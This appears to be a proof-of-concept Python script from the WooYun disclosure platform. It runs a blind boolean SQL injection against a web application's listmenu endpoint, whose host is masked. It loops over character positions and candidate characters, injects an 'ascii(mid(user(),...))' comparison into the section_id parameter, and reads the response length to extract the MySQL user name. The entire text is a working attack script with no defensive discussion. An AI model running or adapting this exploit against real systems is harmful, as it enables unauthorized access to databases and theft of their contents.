WooYun.org

import requests
import sys
import string
def getuser():
    print 'Start to retrive MySQL DB:'
    user=''
    payloads=list(string.ascii_lowercase+string.ascii_uppercase)
    payloads+=['@','.','_']
    for i in range(0,10):
        payloads.append(str(i))
    #payloads.extend(string.ascii_uppercase)
    for i in range(1,17):
        for payload in payloads:
            url="http://**.**.**.**/msdx/app/?action=index&app=listmenu&controller=more&grade_id=1&human_new=new&page=1&section_id=1 and (select ascii(mid(user(),%s,1)))=%s&subject_id=all&type_id=all&version_id=all" % (i,ord(payload))
            res=requests.get(url)
            if len(res.content)>8118:
                user+=payload
                print "[in progress]",user
                break
    print '\n\n[Done] MySQL user is %s' % user
if __name__=="__main__":
    getuser()